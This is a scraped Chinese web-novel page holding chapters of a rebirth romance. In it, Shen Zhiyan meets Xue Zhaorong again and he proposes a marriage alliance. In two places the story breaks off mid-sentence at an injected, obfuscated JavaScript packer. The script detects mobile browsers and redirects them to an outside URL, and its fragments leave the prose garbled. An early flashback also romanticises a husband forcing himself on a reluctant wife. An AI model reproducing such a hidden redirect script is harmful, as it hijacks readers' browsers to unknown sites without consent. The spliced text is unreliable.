那晚黑暗中,他解她衣衫时,指尖碰到她锁骨的那刻,她整个人都颤得厉害。当他捧起她的脸,拇指抚过她唇角时,她下意识往后缩,却被他扣住手腕按在鸳鸯锦被上。 那个落在唇上的吻带着清冷的松木香,她越是挣扎,他掌心收得越紧,最后几乎要掐进她肌肤里。 他冷笑着道:“沈支言,我知你心有所属。但你既嫁给我薛召容,前尘往事便该尽忘。以往你与你表哥如何我不在乎,但是以后我会在乎,因为我眼睛里容不得沙子。从前,我未倾心过谁,亦不屑儿女情长,但你我既成为夫妻,就该有点夫妻的样子。” 沈支言听闻这话心乱如麻,未能参透他话中深意,只颤着手推他:“薛召容,你别逼我,容我些时日。” 泪珠滚落到锦被上。 她落泪不是因着表哥,亦非嫌薛召容不好。只是身体先于心意,本能地抗拒着这场利益联姻。况且订亲那日,薛召容直言不讳地道:“沈支言,不过各取所需,别当真。” 可洞房花烛夜,他却要行夫妻之礼,怎不教人惶惑? 她至今记得,当她推拒时,薛召容是如何捧着她的脸,用指腹一点点拭去她眼角的泪。他就那样凝视着她,眸色深得望不见底,良久才苦笑着松开手:“今夜我坐在案前读书,你先歇息。” 那夜他到底没有勉强她。 可后来某个雨夜,他带着满身伤痕回来,却不肯进屋,就那样坐在院中淋着雨。她撑着伞跑到他跟前。 “沈支言。”他笑得比雨水还冷,“若真的想走,何必勉强留下?横竖我们亲王府迟早要被皇家斩草除根。你我尚未圆房,你现在走,还能嫁给你表哥。” 那日她不知他为何负伤,更不懂他话中意思。只见他夺过油纸伞狠狠掷在地上,雨水溅湿了二人的衣衫。 素来克制的他头一次在她面前失了分寸:“今日你便给我个准话,是留,还是走?” 他向来做事果决,若她当真说要走,他定会即刻写下和离书。 滂沱大雨中,他肩头的伤处还在渗血,雨水混着血水将青衫染成暗色。那双总是清冷的眸子此刻灼灼逼人,竟让她不敢直视。 沉默在雨声中蔓延。 他忽然起身,高大的身影将她整个笼住,修长手指捏起她的下巴,清声道:“为何不回答?这有何可犹豫的?” 可她确实犹豫了。 他见她不做声,伸臂一揽,将她牢牢锢在怀中。 她仰首望他,指尖抵在他胸膛想要推开,可那句“离开”却始终哽在喉间。 她越是挣扎,他臂弯收得愈紧,最后竟将她整个人按在院中的石桌上。 冰凉的雨丝混着他灼热的呼吸落下,那场本该在洞房花烛夜完成的夫妻之事,就这样在暴雨中,在她半推半就下完成了。 那日,他们做了名副其实的夫妻。他头一次让她尝到了作人妻的滋味。起初她是抗拒的,可是后来,到底为何接受了,甚至贪恋了,她也不清楚。 前尘往事如潮水般涌来,那一载有余的婚姻,桩桩件件都刻骨铭心。此刻望着眼前人,恍若重生不过是场幻梦,他们仍是那对相敬如“冰”的怨偶。 在店小二的连声催促下,她终于回过神来。她与薛召容隔着数步之遥,遥遥相望,却在他眼中瞧见了些许陌生。那不是婚后熟悉的眼神,倒像是初次见面一般。 或许他没有像她一样重生。 她率先移开视线,抬手解下面纱,缓步上前。 他身量极高,自幼习武的体魄挺拔如松,更兼一身书卷气,衬得娇小的她愈发纤弱,需得微微仰首才能看清他的神色。 他还是记忆中的模样,眉目如画,矜贵天成,周身萦绕着生人勿近的疏离。只是在看清她面容的刹那,眼底闪过一丝几不可察的诧异,转瞬又归于平静。 她不敢再与他对视,只低垂着眼帘轻唤了声:“薛公子。” 他静静打量她片刻,抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这般凝滞的氛围,与前世何其相似。那时他们也常这般相对无言,空气中总凝着说不清道不明的怨怼。直到后来她才明白,横亘在他们之间的,是那座名为“表哥”的大山。 良久的沉默让沈支言实在受不住,她起身欲走。 薛召容见状终是开口:“再坐会。” 他将杯盏往她面前推了推,开口声音有些低沉,但依旧好听:“想必义沅姑娘已告知你,此番亲王府与江府议亲,实因王府遭逢变故,需朝中重臣相助。家父与江将军有过命之交,所以首先考虑江府。” “我虽与义沅姑娘并不相熟,却也听闻她是位巾帼英豪。她不愿应下这门亲事,情有可原。只是亲王府如今岌岌可危,不得不抓住每一根救命稻草。” 他说到这里,忽然倾身向前,目光灼灼地望向她泛红的耳尖:“其实,并不是非要与江府联姻,与你们太傅府联姻效果也一样,或者更好。听闻沈姑娘还未定亲。” 他唇角微扬,再看向她,眸中那种侵略性更强了:“我们两府联姻,如何?” 4. 第 4 章 他们两府联姻? 他要迎娶她? 沈支言蓦地睁大了眼睛,羽睫轻颤,疑心自己听错了。待抬眸对上薛召容认真的神色,才知他方才那话并非戏言。 沈支言生得娇小玲珑,此刻因惊诧微微张着檀口,杏眸圆睁的模样,活像只受惊的兔子。她与京中那些端庄贵女不同,眉宇间总带着几分伤感,偏又掺着些让人看一眼就忘不掉的柔情,恰似雨打海棠般惹人怜惜。 她这般情态,任谁见了都不由心生呵护,便是年岁最小的阮苓,平素也总忍不住处处让着她、护着她。 她此刻惊讶的模样更添几分懵懂,杏眸里盈满无措,因着对薛召容本能的畏惧,连问话都带着软糯:“你……你要娶谁?” 话一出口又自觉愚蠢,太傅府可不就她一个姑娘。 薛召容眼底掠过一丝几不可察的笑意,看着她渐渐染上胭脂色的脸颊,一字一顿道:“自然是娶你。太傅府上,难道还有别的千金。” 他这话如一道惊雷,劈得沈支言脑中一片混沌。恍惚间,前世记忆纷至沓来。当初薛召容父子登门求娶,与她的父亲在书房交谈了整整大半日。她总觉不安,在廊下等得心焦,最终却等来父亲一句:“准备准备,嫁去亲王府罢。” 那时她也听闻亲王府遭难,原是要与江府结亲的。江义沅也曾几次寻她诉苦,谁料转眼间,这祸事竟落到了她的头上。 薛召容亲自登门求亲那日,她躲在屏风后不敢见他。待他离去,她哭着跪在父亲跟前,拒绝嫁给薛召容,也道出她对表兄的倾慕。 可父亲只长叹一声:“傻丫头,太傅府与亲王府本就是同气连枝。若亲王这棵大树倒了,我们这些依附的藤蔓又如何独活?” 她不懂朝堂之事,那夜她哭湿了整条绣帕,却终究明白,他们这些世家贵女,生来就是系在家族兴衰上的一枚玉扣。 这深宅大院里,多的是利益联姻的例子,就连她的父母,当年也不过是两姓之好的牺牲品。想要与心爱之人相守,除非那姻缘里掺着利益,否则便是痴心妄想。 应下婚事的第二日,薛召容曾单独寻她。在那间临河的茶楼里,他们相对而坐,他却只是用那种灼人的目光盯着她,盯得她如坐针毡。满桌的菜肴丝毫未动,直到日影西斜,临走时他才道:“既你答应嫁给我,我必不会让你受委屈,也不会强迫你。” 她明白,薛召容那番承诺不过是因着皇族子弟的修养。天家贵胄的气度风骨,向来不容置疑。他并非对她有意,不过是碍于两府联姻的体面,才许下这般诺言。 如今再听他提及婚嫁之事,沈支言只觉脑中嗡鸣,好半晌才找回自己的声音:“薛公子莫要戏言,若无他事,我先告辞了。” 她话音未落便已起身,仓皇向门外走去。此刻她心乱如麻,一刻也不愿多留。 还未等她走到门前,忽听“扑通”一声巨响,原是躲在楼梯转角偷听的阮苓不慎滚落下来,此刻正抱着腿哀哀呼痛。 沈支言慌忙折返,提着裙摆疾步上前,担心问道:“妹妹摔到哪儿了?” 只见阮苓小脸煞白,捂着左腿直抽气:“姐姐,我的腿怕是折了。” 沈支言惊慌,伸手刚触到伤处,阮苓便疼得直掉眼泪。 沈支言正手足无措时,薛召容已大步走来,清声道:“看情况伤得不轻,需即刻寻大夫。” 他说着已招手唤来门外的随从。 沈支言急得眼眶发红,俯身想要抱起阮苓,可她这副娇弱身子哪抱得动?阮苓疼得冷汗涔涔,小脸煞白如纸。 沈支言忽觉袖口一紧,薛召容将她轻轻拉到一旁,道:“让鹤川来。” 话音未落,一名身着靛青劲装的魁梧男子已大步走来,朝阮苓拱手道:“姑娘冒犯了。” 不待阮苓反应,那人已将她打横抱起。阮苓惊呼一声,待看清来人剑眉星目的面容,不由怔住:“你是谁?” “在下鹤川。”男子稳稳抱着她,“薛公子的随从。” 阮苓听闻是薛召容的人,稍稍安下心来。 沈支言对这附近不甚熟悉,一时不知去哪里寻医馆,只得道:“妹妹伤得不轻,不如先送回我们府上。近日正巧有位太医在府中为祖母诊治。” 太医医术相对好一些。 薛召容见阮苓疼得唇色发白,略一颔首:“也好。” 他当即吩咐鹤川将人抱上马车。 沈支言见鹤川把阮苓抱到了他们的马车上,情急之下竟一把攥住了薛召容的衣袖,急声道:“我们自己回去就好,就不劳烦薛公子了。” 薛召容垂眸看了眼被她抓着的衣衫,又缓缓抬眼望向她急得泛红的双眼,目光一时深沉难辨。 沈支言见他看向自己,这才惊觉失态,慌忙收回手,只听薛召容道:“你既是代义沅姑娘来见我,若乘江府马车回去,岂不露了破绽。” 薛召容这话点醒了沈支言,她来时是戴着面纱的,阮苓又是这般情况,难免让人起疑。 她思忖片刻只得低声道:“那便有劳薛公子了。” 她这一声“薛公子”唤得格外生分。 薛召容看着她,目光灼得她心尖一颤。他这般目光,与前世每次同房前,他看她时如出一辙。她慌忙避开视线,匆匆登上马车。 薛召容并未同乘,只向店家要了匹骏马,护送马车疾驰而去。马蹄声急,不多时便到了太傅府门前。 阮苓一路疼得直抽气,到了太傅府时,小脸已惨白如纸,却还拽着沈支言的袖子呢喃:“姐姐,叫支安哥哥来,我想见他。” “好,妹妹你忍一忍。”沈支言连忙差人去请二哥,又引着薛召容与鹤川直奔太医处。 老太医诊视阮苓的伤势后,连连摇头道:“伤得不轻,骨头都折了,需静养百日,期间万万不可挪动。” 阮苓闻言顿时泪盈于睫,带着哭腔问:“太医,我往后还能走路吗?都怨我,我不该偷偷跟着支言姐姐,更不该趴在楼梯上偷听她与薛公子说话。” 沈支言闻言,耳根顿时烧了起来,下意识抬眼看向薛召容。今日种种反常,让她不禁怀疑,莫非他也重生了?若真是如此,他应当记得前世种种,为何又要装作素不相识? 正思量间,沈支安已匆匆赶来。见到阮苓伤成这样,他素来温润的眉宇间也染上忧色。 阮苓一见他,眼泪落得更凶了:“支安哥哥,我怕是再不能走路了。” 她抽噎着伸出小手:“好疼好疼,你哄哄我好不好?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541187|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阮苓最会撒娇。 到底是自幼看着长大的妹妹,沈支安眼中满是疼惜。他轻拍阮苓肩头温声安抚:“莫怕,有太医诊治定无大碍。你且在府里好生将养。” 安抚完阮苓,他这才注意到立在一旁的薛召容,不由讶然:“薛公子怎会在此?” 沈支安与薛召容二人虽因查案常有往来,但薛召容素来不喜交际,更鲜少踏足他人府邸,今日罕见。 薛召容回道:“今日我与沈支言在茶楼议事,恰逢阮姑娘不慎从楼梯跌落,便护送她们回来。” “你与支言在茶楼议事?”沈支安难以置信地望向自家妹妹。他最是清楚,妹妹向来恪守闺训,断不会无故与外男私会,更遑论同坐茶楼。 薛召容见他疑惑,却从容道:“我与她谈及亲王府近况,并表明我想求娶……” “薛召容。”他话未说完,突然被沈支言打断,“你出来一下,我有话对你说。” 沈支言阻止了薛召容后面要说的话。 沈支安更是不明所以地怔了怔,而薛召容却已会意,竟与她一同出了门。 沈支言手中帕子攥得愈紧,一路默默无言地引着薛召容到了一处幽静处。 附近种着一片翠竹,竹径幽深,新抽的嫩叶散发着清苦香气。几株西府海棠开得正盛,落英拂过沈支言的肩头,又被风卷着掠过薛召容的衣袂。 竹影婆娑间,二人相对而立。 沈支言垂首盯着自己的鞋尖,心头乱作一团。阮苓意外受伤已够糟心,若方才不打断薛召容,只怕他就要将代义沅姐姐与他相见之事和盘托出。 更让她心慌的是,他那句未尽的“求娶”。 两个人都沉默着,只听得竹叶被风吹后的摩挲声。 薛召容见她不说话,也不催促,只静立在青翠欲滴的竹林前。他一袭月白长衫衬得他身姿如松,竟与身后修竹浑然一体。 良久,沈支言才抬眸望向他。竹叶沙沙作响,她望着那双与旁人截然不同的深邃眼眸,轻声道:“今日之事,到此为止。我代义沅姐姐传话,承蒙薛公子相送,感激不尽。” 默了片刻,她又道:“茶楼里那些话,还望公子莫要再提。” 她声音虽轻,却字字坚决。若这联姻之说传出去,只怕前世的悲剧又要重演。 她绝不能再走那条老路。 “你是指我想求娶你与太傅府联姻之事?”他的声音突然沉得像是浸了墨,“沈支言,你不愿嫁给我?” 一句话让她怔住,她没想到他问得如此直白,倒让她一时语塞。 他这般泰然自若地说着求娶的话,当真不是重生而来的吗?谁家陌生公子会张口闭口就是求娶。他虽知晓他性情,但是依着他们相识前他那般性格,怕是连句话都不愿与她多说。 突然间,她想问一问,可是话到嘴边又咽了下去。心想着即便问了又如何?终究改变不了亲王府满门抄斩的结局。现在他们该做的,是扭转前世的悲剧,而非纠缠那段本就不堪的婚姻。 也许,他不愿与她相认呢。 他见她沉默,忽然逼近一步,声音好听的勾人,只是语气却有些冷然。 “沈支言,你喜欢你表哥,所以打算嫁给他,是吗?” 5. 第 5 章 他突然直呼她闺名,而非客套的“沈姑娘”,不禁让她心头一颤。更令她惊惶的是,他竟知晓她倾慕于表哥。 她震惊地看他,对上他那双仿佛要将人拆吃入腹的眼睛。那眼神太过熟悉,像是猛兽盯着属于自己的猎物,又像是看着一件即将被人夺走的珍宝。明明生得极好看的一双眼,此刻却盈满令人窒息的占有欲。 她攥紧手帕不自觉地后退两步,后背抵上了冰冷的竹节。喉间像是堵了团棉花,半个字也吐不出来,许久才问了一句:“你怎会知道?” 这意思像是承认了。 薛召容神色变换,清声回道:“是从你二哥那里听闻的。如今亲王府急需重臣帮衬,而江义沅姑娘又不愿嫁,为保亲王府,总要择一位贵女与我成婚,放眼整个京城,似乎只有你比较合适。” 合适? 沈支言皱起眉头,若当真合适,前世他们怎会过成那般模样?他明知她心系表哥,却仍强行逼着她对他生情,即便他们成了真正的夫妻,他仍过不去心里那道坎,对她冷冷淡淡,致使两人最终形同陌路,整整一年相看两厌。 前世不合适,今生就合适了么?既得上天垂怜重活一回,谁不愿觅得良人?纵使不嫁表哥,她也断不会再草率许婚。 薛召容此人,才华横溢不假,可性子太过强势,心思又深不可测。前世成婚一载,她尚且摸不透他分毫。或许他们本就是八字相克,注定怨偶。 “薛公子。”她喉间发苦,声音也不复往日的清越,“你就这般急着娶妻?随便挑个贵女便能将就?” 世人都道他如天上明月可望而不可攀,谁曾想他竟能道出随便成婚之言,这与外界相传的他大不相同。就这般轻贱自己的姻缘么?婚姻大事,在他眼中竟可如此儿戏?为何非要走这条绝路,为何不能另谋他法?两个不相爱的人硬凑在一处,岂会有好结果? 这话问得薛召容神色微怔。那双惯常清冷的眸子渐渐泛起复杂情绪,却久久未发一言。 春风本该温柔,可此刻拂在沈支言身上,却只觉寒意彻骨。 说来可笑,方才初见他时,她心头曾涌起难以言喻的悸动。即便那段姻缘不堪回首,可断头台上他最后那个愧疚的眼神,那句锥心刺骨的“对不起”,总在午夜梦回时让她湿了枕衾。 她并非铁石心肠,自初见薛召容起,心底最柔软的那处便不由分说地给了他。前世每每见他来到她的别院中独坐到三更天,她总会沏一盏热茶送去。当他将她抱进怀里,她也只是稍作挣扎便由着他去。 或许一年的光阴太短,短到不够理清这段始于利益的姻缘。她带着对表哥的执念嫁过去,而薛召容又稀里糊涂把她娶回了家。他们甚至都没来得及坐下来好好聊聊,就那样仓促地共赴黄泉。 远处传来丫鬟的脚步声,沈支言不愿再多言,转身离去。薛召容独自立在竹影里,望着她渐行渐远的背影。许久,才默然跟上,一前一后回到了阮苓那里。 阮苓的伤处已由太医包扎妥当挪到了厢房。此时沈支安正执匙喂她喝水,小丫头倚在绣枕上,明明双手无碍,却偏要赖着二哥哥伺候。 见她气色好转,沈支言略感宽慰,二哥这般体贴,想必对阮苓也并非无意。若能成全这段姻缘,倒比让她嫁去别处强。 沈支安见他们回来,耳根蓦地红了,忙搁下茶盏。他整了整衣襟,对静立门边的薛召容道:“今日多亏薛公子相助。恰值午膳时分,不如留下一起用膳?” 沈支安原以为以薛召容的性子定会推辞,不过是循礼一问罢了。谁料薛召容竟颔首应下:“好,叨扰了。” 这一答反倒让沈支安怔了怔,随即笑道:“那你们稍坐,我去吩咐厨房。” 薛召容依旧立在沈支言身后半步之距,丝毫没有移步的意思。 阮苓滴溜溜转着眼珠,将二人神色尽收眼底。想起今日在茶楼偷听到的那句“我们两府联姻”,再瞧此刻这光景,心下恍然,莫非薛二公子当真对支言姐姐有意?难怪当时惊得她从楼梯上摔了下来。 “薛公子请坐。”她忍着腿疼,笑吟吟地招呼道。 薛召容闻言却未立即动作,只是看了沈支言一眼。沈支言虽想让他离开,但他既已应下二哥的邀请,只得轻声道:“薛公子请坐。” 她让他坐,他这才移步至一旁的木凳前落座。 阮苓见状,忍不住抿嘴偷笑,沈支言无奈瞥了她一眼。 这时,忽见一袭白衣的小少年急匆匆闯了进来:“阿姐,听说你摔伤了。” 少年生得与阮苓有七八分相似,只是眉宇间多了几分英气。此人正是阮苓的孪生弟弟阮玉。这对姐弟虽只相差片刻出生,性子却大不相同。这几日阮玉外出学习,刚回府便听闻姐姐受伤,连衣裳都未及换就赶了过来。 阮苓一见弟弟,立马扁着嘴委屈道:“都怨你,若是你跟着我,我怎会从楼梯上摔下来?” 她指着包扎严实的腿,哼道:“这下可好,怕是往后都走不了路了。” 阮玉与姐姐虽是双生,却从小被阮苓使唤惯了。幼时他还试图反抗,可每回挨打的都是他。久而久之,全家上下都宠着这娇蛮的丫头,连带着他也养成了认命的性子。 此刻他熟练地上前查看伤势,叹着气认错:“是弟弟的不对,阿姐放心,这些时日我定寸步不离地照顾你。” 阮玉正要去给姐姐倒茶,忽地瞥见坐在一旁的薛召容。京中贵公子们虽偶有往来,但他与薛二公子不过半年前有过一面之缘,此刻突然得见,不由怔了怔,忙拱手道:“薛二公子。” 薛召容起身还礼:“阮公子。” 阮苓斜倚在榻上插话:“今日多亏薛公子送我回来,否则这腿怕是要废了。” 阮玉闻言,当即向薛召容深深一揖:“多谢薛公子相助。”又疑惑道:“你们今日怎会遇到?” “今日支言姐姐与薛公子在茶楼商议婚事。”阮苓笑嘻嘻地抢话,“我躲在楼梯偷听,一不留神就摔下来了。” 阮玉闻言瞪大了眼睛,目光在薛召容与沈支言之间来回游移:“你们……要成亲?” 阮玉与沈支言自幼相识,最是清楚她心里装着表哥何苏玄,何曾听过与薛二公子有什么瓜葛? 沈支言急得耳根发烫:“妹妹你莫要胡说,我们是在商议其他事情,总之不是你想的那样。妹妹日后莫要再提此事。我与薛公子不过萍水相逢,今日才第二次见面。” 她连他们第几次见面都记得很清楚。 沈支言这般急着撇清关系,阮苓不由撇了撇嘴:“是是是,都是我贪玩摔的。” 她忽然眼睛一亮,扯着弟弟的袖子道:“不过支安哥哥待我可好了,方才还亲自喂我喝水呢!” 阮玉自然知晓姐姐对沈二公子的心思。虽觉得姑娘家这般主动有失体统,可他又哪拗得过这位被全家宠坏的姐姐,只得道:“那我先去备车,接你回府养伤。” “我不要。”阮苓急得直拍床榻,“府里又没有太医,我这腿伤得厉害,须得每日换药,其他医师我信不过。总之我就要在太傅府养着。” 好不容易逮着机会亲近支安哥哥,她岂会轻易放过? 阮玉哪会不懂姐姐的小心思?无奈地叹了口气:“罢了,我且回去禀明父亲。” 正说着,沈支言的贴身丫鬟杏儿匆匆进来:“小姐,表少爷来了。” 表少爷,何苏玄。 沈支言心头一动,表哥这半月闭门苦读,原说短期内不得相见,未料今日竟来了。她忙对阮苓道:“妹妹好生将养,我去去就回。” 她又看了眼端坐不动的薛召容:“薛公子若无要事,不妨先去客房坐着。” 她实在不解,这人为何总在她跟前坐着不走,那灼人的目光更教她不自在。 薛召容闻言起身,默然随她出了房间。 杏儿乍见这位陌生的贵公子,惊得慌忙福了一礼,才对沈支言道:“表少爷带了好些新奇玩意儿来,正在前院等着呢。” 沈支言往前走了几步,却发现薛召容并未往客房去,反倒跟在了她身后。她不由蹙眉驻足,回身望他。 春日的暖阳柔柔洒在薛召容身上,勾勒出他棱角分明的轮廓。那眉宇间虽不似往日凌厉,却凝着一层薄霜似的冷意,倒像是在为什么事情不快。 沈支言语气疏冷道:“薛公子不妨先去客房,或是寻我二哥说话。” 他总不能跟着她去见表哥。 “支言妹妹。”正说着,忽闻一道温润嗓音传来,沈支言蓦然回首,只见表哥何苏玄一袭白衣踏着春光而来。 这位名满京城的贵公子身姿挺拔如竹,举手投足间尽是世家风范,却在看到薛召容的瞬间,脚步微滞。 两道目光在空中相接片刻,何苏玄才复又上前,朝薛召容拱手一礼:“原来薛二公子也在。” 这京中贵胄子弟,彼此间多有往来。何苏玄乃出身显赫,姑父是当今太傅,姨母是圣宠正隆的皇贵妃,祖父又乃是开国元勋。虽其父仅为吏部侍郎,但何氏一族在朝中可谓举足轻重。 他自幼饱读诗书,温润如玉,在世家子弟中声望极高。但凡提起何家公子,谁不赞一句“谦谦君子”,多少闺秀芳心暗许,偏生二十四岁仍未娶亲。 薛召容与何苏玄虽同在京城,却鲜少交集。往日宫宴上遥遥相望,连个点头之交都算不上。今日何苏玄主动见礼,饶是薛召容眸色微冷,仍颔首回了一礼。 何苏玄何等聪慧,虽对薛召容的出现颇感意外,但见沈支言神色紧张,便已猜出几分。他温声道:“妹妹,带我去瞧瞧阮苓的伤势。” 这情形于沈支言而言,着实尴尬,前世三人间的纠葛尚未理清,今生又这般聚在一处。她暗暗深吸一口气:“表哥随我来。” 何苏玄向薛召容再施一礼,便随着沈支言往厢房走去。春日暖阳下,两道身影一前一后,在地上投下交错的影子。 待进门时,沈支言忍不住回眸一望,只见薛召容独自立在那片海棠花下。灼灼花影中,他挺拔的身影竟透出几分孤寂,恍惚间让她想起断头台上那个满眼愧疚的夫君。 厢房内,阮苓见表哥到来,欢喜得眉眼弯弯。何苏玄温声叮嘱她养伤的注意事项,许诺日后为她寻宫中的珍稀药材。他们谈笑风生,可沈支言半个字也未听进去,目光总不自觉飘向屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许是重生后的不适?又或是……那场生死大梦留下的后症?这般想着,唇角不由泛起一丝苦笑。 前世嫁给薛召容后,不出一年光景,她便似换了个人,从明媚爱笑的姑娘,成了终日闭门不出的深闺怨妇。成婚次日便独居偏院,不是对窗临帖,便是伏案作画,活像个看破红尘的老僧。 可那分明才是个十七八岁的妙龄女子啊。 坊间都说,不幸的姻缘最是磋磨人。如今想来,那段婚姻确似抽干了她所有生气。或许,唯有寻回能令心头悸动之事,才能变回从前那个眼中有光的沈支言。 她垂首沉默,实在提不起说话的兴致。何苏玄也不勉强,只引她到西厢院中看那些精心准备的礼物。南海珍珠串、掐丝珐琅镯、苏绣团扇……件件都是稀罕物。 可沈支言只是淡淡扫过,连多看一眼的兴致都没有。 她知道自己这般排斥与人接触并非好事,前些日子还强撑着与姐妹们说笑。偏生今日见了薛召容,那点勉强攒起的精神又散了。此刻即便对着最亲近的表哥,也只觉得疲惫不堪,恨不能立刻躲回房里。 何苏玄最是了解她,见她兴致缺缺,便引她去寻几位兄长,想着人多些总能逗她开心。 不多时江义沅也来了,见阮苓受伤,自责不已:“都怪我,若不是让支言代我去见薛召容……” 阮苓却偷偷扯她衣袖,附耳道:“姐姐别自责,我正愁没借口赖在太傅府呢!” 这小丫头鬼精得很,满心盘算着如何亲近沈支安。 用膳时分,沈家三位公子齐聚一堂。因着难得热闹,又来了薛召容这般稀客,沈支安特意命人备了满桌珍馐。席间觥筹交错,倒是难得的和乐景象。 江义沅推着轮椅将阮苓安置在沈支安身侧。这小丫头见了满桌佳肴,眼睛亮晶晶的,撒娇耍赖要二哥哥给她夹这夹那。沈支安也由着她胡闹,宠溺地满足她所有要求。 太傅府向来不拘虚礼,众人随意落座。偏生沈支言被安排在了何苏玄与薛召容中间,如坐针毡,连筷子都不愿动。 沈家三郎沈支轩素来仰慕薛召容的才名,席间频频敬酒。两三杯下肚,薛召容耳尖便泛起薄红。接着大哥、二哥也来相敬,他虽话少,却来者不拒,一杯接一杯地饮。 眼见三哥又要给薛召容斟酒,沈支言终是忍不住阻止道:“三哥莫要再劝了,他饮多了会心口疼。” 前世她便知晓,薛召容酒量极浅,多饮几杯便心口绞痛。更麻烦的是,这人醉后总爱闯到她的院子,不由分说便将她按在怀里亲。那些为数不多的同房,多半都是在他醉酒之后。 想到此处,她耳根倏地烧了起来,忙低头去夹面前的菜,却是一筷子戳在了碗沿上。 她始终分不清,他那些亲昵举动究竟是出于情动,还是单纯的酒后失态。可心口疼终究不是小事,能少喝一杯是一杯。 她话音刚落,席间骤然一静。众人目光齐刷刷投来,阮苓更是直接问道:“姐姐怎知薛公子饮酒会心口疼?” 完了。 沈支言正欲搪塞,却听薛召容清声道:“她说的不错,我喝多了确实会心口疼。” 他…… 6. 第 6 章 薛召容这话一出,满座皆惊。阮苓惊得连筷子都掉在了桌子上。 沈支言面上一红,正不知如何圆场,忽听何苏玄温声笑道:“我瞧着薛公子耳根都红了。这般的年轻人,饮酒过量确实容易心口不适。” 他说着执起酒盏起身:“府上的酒性子烈,原不该这般劝客。三弟,这杯表哥陪你喝。” 众人闻言纷纷称是,沈支安也举杯道:“确是如此,那这杯我敬表哥,薛公子请随意。” 何苏玄三言两语便化解了尴尬,与几位兄长推杯换盏间,席上又恢复了热闹。唯独沈支言与薛召容始终沉默。 外人只道薛二公子性情冷淡,可前世相处一载,沈支言最是清楚,他并非天生薄情,只是长在复杂的亲王府里,又自幼丧母,对寻常人情世故总缺了根弦。那些旁人信手拈来的寒暄客套,于他却是难事,索性便以沉默应对。 她这般想着,竟生出几分怜惜。世上有些人啊,纵有经天纬地之才,偏生在情之一字上,笨拙得令人心疼。 何苏玄席间最是活络,与几位兄弟谈笑风生不说,还时时关照沈支言。见她碗里空了便添菜,瞧她蹙眉就说趣事逗乐。反观薛召容,自始至终都静默如松。 这顿饭沈支言用得极少,心头那团乱麻越缠越紧。临散席时,忽见薛召容将一碟红芋酥推到她面前。她侧眸望去,正撞进他深不见底的眸光里。 薛召容只深深看了她一眼,未置一词。前世沈支言最爱吃的便是这红芋酥。 宴毕,众人移至后园品茶。席间阮苓一直缠着沈支安,起初二哥还由着她撒娇,可这小丫头越发得寸进尺,竟在众目睽睽下去牵他的手。沈支安面上挂不住,几次三番躲闪,耳根都红透了。 阮苓虽伤了腿,却半点不安生,非要闹着看众人投壶射箭。沈家三郎最是爱热闹,拍掌笑道:“难得聚得这般齐整,不如比试一番。胜者可得三位姑娘一件信物如何?” 江义沅闻言立刻挽袖:“我也要比,我没有东西相送。” 遇到这种比赛的事情,江义沅最是兴奋,因为她一直认为女儿家不输男儿郎,她自幼习武射箭,不比这些男人们差。 沈支言和阮苓最是了解她,也不阻止,便把她划分到了赛手那一列。 如此一来,场上便只剩沈支言与阮苓两位姑娘了。 这般游戏他们自幼常玩。掷石子、投壶、射覆,赢了便讨姑娘家一件礼物。从前最是阮家姐弟闹得欢,而胜者多半是何苏玄与沈家大郎。 从前阮苓送出去的玩意儿可不少,便是输了也要硬塞些小物件给人。沈支言那时也最爱这般游戏,与兄弟姐妹们玩闹最是开怀。 可今日席间多了个薛召容,她本就兴致缺缺,加之这人从头到尾都冷着张脸,更叫她如坐针毡。 她抬眼望去,只见薛召容独自倚在亭柱边,那疏离清冷的气度,与这满园欢闹格格不入,却又自成一方天地,美好得教人不忍打扰。 四目相对的刹那,何苏玄忽然挡在中间,笑吟吟歪头问她:“妹妹觉得表哥今日能否夺魁?我可是惦记着你的彩头呢。” 何苏玄这一站,彻底隔断了沈支言与薛召容的视线交汇。她只得收回目光,轻声道:“表哥且尽力而为。” 忽听阮苓扬声唤道:“鹤川,你也来比试比试。” 那侍卫被点了名,愕然抬头,局促地搓了搓手:“这……在下还是别了。” 他深知自己与这些贵胄子弟云泥之别,更不敢唐突了姑娘们的清誉。 阮苓不依不饶:“哎呀,别推辞嘛!我看你臂力过人,指不定比他们都强呢!” 鹤川挠了挠后脑勺,赧然道:“姑娘谬赞了。若论箭术,当属我家公子为最。他十岁时便能百步穿杨。” “当真?”阮苓眼睛一亮,“薛二公子这般厉害?” 阮苓闻言更来劲了,冲着薛召容嚷道:“那今日这彩头定是薛二公子的了。” 她促狭地眨眨眼:“支言姐姐的绣工可是京中一绝,不如让她赠你个荷包?” 薛召容闻言直起身子,目光越过何苏玄望向沈支言。偏生沈支言被表兄挡得严实,只闻她轻声推辞:“莫听她胡说,我不过会些粗浅针线。” 阮苓才不吃这套,拍手道:“咱们比过不就知道了?二哥,快把箭靶摆好。” 三位姑娘退到一旁等待时,阮苓问道:“义沅姐姐真要跟男子比试?” 江义沅挑眉一笑:“怎的?你觉得我赢不了?若我赢了,定要向你讨件好东西。” “我有什么可讨的?”阮苓一脸茫然。 江义沅揉揉她发顶,笑得意味深长:“到时候,你就知道了。” 